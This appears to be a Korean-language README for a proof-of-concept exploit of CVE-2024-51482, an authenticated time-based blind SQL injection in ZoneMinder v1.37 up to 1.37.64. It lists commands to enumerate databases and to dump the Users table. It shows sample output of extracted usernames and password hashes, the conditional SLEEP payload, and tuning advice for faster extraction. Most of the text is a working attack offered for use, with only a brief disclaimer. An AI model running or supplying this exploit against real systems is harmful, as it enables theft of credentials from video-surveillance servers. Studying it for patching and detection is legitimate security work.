
ZoneMinder CVE-2024-51482에 대한 인증된 시간 기반 블라인드 SQL 인젝션 PoC (v1.37.* <= 1.37.64)
*ZoneMinder v1.37. <= 1.37.64**에 대한 인증 기반 시간 기반 블라인드 SQL 인젝션 익스플로잇
이것은 ZoneMinder의 이벤트 관리 기능에 존재하는 시간 기반 블라인드 SQL 인젝션 취약점인 CVE-2024-51482에 대한 개념 증명 익스플로잇입니다. 이 익스플로잇은 인증이 필요하며 조건부 SLEEP 쿼리를 사용하여 데이터베이스에서 데이터를 추출합니다.
pip install requests
python3 poc.py -t example.local -u admin -p password
python3 poc.py -t example.local --cookie 'ZMSESSID_value'
python3 poc.py -t example.local -u admin -p password -v
python3 poc.py -t example.local -u admin -p password --dbs
python3 poc.py -t example.local -u admin -p password -D zm --tables
python3 poc.py -t example.local -u admin -p password -D zm -T Users --columns
python3 poc.py -t example.local -u admin -p password -D zm -T Users --dump
Required:
-t, --target TARGET Target URL (IP, hostname, or full URL)
Authentication:
-u, --username USERNAME Username for authentication
-p, --password PASSWORD Password for authentication
--cookie COOKIE Session cookie (ZMSESSID)
Enumeration:
--dbs Enumerate databases
-D, --database DATABASE Database to use
--tables Enumerate tables
-T, --table TABLE Table to use
--columns Enumerate columns
--dump Dump table data
Performance:
--delay DELAY Time delay in seconds (default: 3, safe)
--threads THREADS Number of threads (default: 5, safe)
-v, --verbose Show extraction progress
python3 poc.py -t example.local -u admin -p password --delay 3 --threads 5
python3 poc.py -t example.local -u admin -p password --delay 1 --threads 20
[*] Target: http://example.local
[*] Delay: 3s | Threads: 5
[+] Authenticated as admin
[*] Testing vulnerability...
[+] Target is VULNERABLE!
[*] Default mode: Dumping zm.Users credentials...
[*] Dumping data from 'zm.Users'...
[+] Extracted: admin
[+] Extracted: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Extracted: john
[+] Extracted: $2y$10$prZGnazejKcaLq9bKNexXOglBSqOl1hq07LW7AJ/QNqZolbXKfFG.
====================================================================================
| Username | Password |
====================================================================================
| admin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| john | $2y$10$prABlsrtyjkiWv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
====================================================================================
[+] 2 entries dumped
이 익스플로잇은 조건부 SLEEP을 사용합니다:
1 AND (SELECT 1 FROM (SELECT(SLEEP(3-(IF(condition,0,3)))))test)
잘못된 문자가 생성되는 경우 (예: $가 8로 표시되는 경우):
# Increase delay and reduce threads
python3 poc.py -t example.local -u admin -p password --delay 4 --threads 3
추출이 너무 느린 경우:
# Decrease delay and increase threads (may reduce accuracy)
python3 poc.py -t example.local -u admin -p password --delay 2 --threads 10
기본 zm.Users 테이블이 존재하지 않는 경우:
# Enumerate databases first
python3 poc.py -t example.local -u admin -p password --dbs
# Then enumerate tables
python3 poc.py -t example.local -u admin -p password -D database_name --tables
이 도구는 교육 및 승인된 보안 테스트 목적으로만 사용해야 합니다.
이 프로젝트는 교육 목적으로만 제공됩니다. 책임감 있고 윤리적으로 사용하십시오.
⭐ 유용하다고 생각되시면 저장소에 스타(Star)를 눌러 주세요!